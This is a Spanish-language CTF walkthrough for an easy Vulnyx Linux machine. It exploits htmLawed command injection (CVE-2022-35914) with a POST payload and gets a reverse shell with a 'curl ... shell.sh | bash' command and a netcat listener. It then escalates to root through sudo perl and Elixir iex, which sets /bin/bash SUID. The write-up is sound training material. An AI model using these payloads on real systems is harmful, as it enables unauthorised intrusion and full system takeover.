Hola! ¿Te puedo ofrecer un CTF, como entrada?
Pero antes, gracias al creador de la maquina d4t4s3c y a la comunidad de Vulnyx por hacer esto posible.
Descripción de la maquina.
Sistema Operativo | Linux 🐧 |
Dificultad | Fácil |
Lanzamiento | 23/04/2024 |
Creador | d4t4s3c |
Primer Usuario | suraxddq |
Primer Root | suraxddq |
Enumeración
Empezamos con un nmap
Vemos que unos de los scripts de enumeración de nmap
encontró un archivo robots.txt
Y tenemos una sola ruta, así que vamos a verla.
Vemos que es una documentación de una utilidad llamada "htmlawed" con su leyenda "Código PHP para purificar y filtrar HTML".
Observando la documentación vemos que nos indica la versión de la utilidad, así que vamos a buscar alguna vulnerabilidad descubierta...
Y en efecto tenemos un Command Injection
con el CVE-2022-35914, así que me dispuse a leer el siguiente articulo que explica como explotarlo.
https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914/
CVE-2022-35914
La explotación tiene como lugar en un pagina de prueba, de la utilidad, por defecto esta disponible en el mismo directorio donde se encuentra la documentación con el nombre htmLawedTest.php
Y ahí lo tenemos, ahora para poder ejecutar comando es bastante sencillo, consta de enviar unos datos por POST y una cookie.
#header
Cookie: sid=foo
#data
sid=foo&hhook=exec&text=id
Por consecuencia obtenemos esto.
Así que una vez conseguido esto, vamos a enviarnos una shell reversa.
Cree un archivo shell.sh
con el siguiente código.
Después lo aloje en un servicio http con python: python3 -m http.server 8000
, claro que también me puse en escucha con netcat: nc -lnvp 8003
Y por ultimo enviamos la siguiente data, en donde la maquina consultara nuestro archivo shell.sh
y lo interpretara con la bash
.
#header
Cookie: sid=foo
#data
sid=foo&hhook=exec&text=curl+http://192.168.1.79:8000/shell.sh+|+bash
Después de esto obtendremos una shell con el usuario www-data
.
Escalada de privilegios
Primero, enumero los usuarios del sistema y ya.
Explorando, me tope con el siguiente permiso sudo.
Así que me dispuse a buscar el binario en GTFOBins para poder abusar de este.
Y en efecto ahí lo tenemos, vamos a intentarlo.
sudo -u noname perl -e 'exec "/bin/bash";'
¿Perfecto, no? una vez mas enumerando los permisos sudo del usuario noname
tenemos esto.
Al contemplar que este binario no se encontraba en GTFOBins, me dispuse a ver su funcionalidad...
Hasta que me tope con una función llamada System.cmd
que nos permite ejecutar comandos.
Así que ejecute iex
como root
.
sudo -u root iex
Y lo único que debía de hacer era ejecutar el siguiente comando, con esto establecemos permisos SUID al binario bash
.
System.cmd("sudo",["chmod","+s","/bin/bash"])
Por ultimo nos toca confirmar este hecho.
Y efecto logramos establecer el binario bash
con permisos SUID, el cual nos permite obtener una bash
como root
.
Así que... Eso es todo, nos vemos!!
Referencias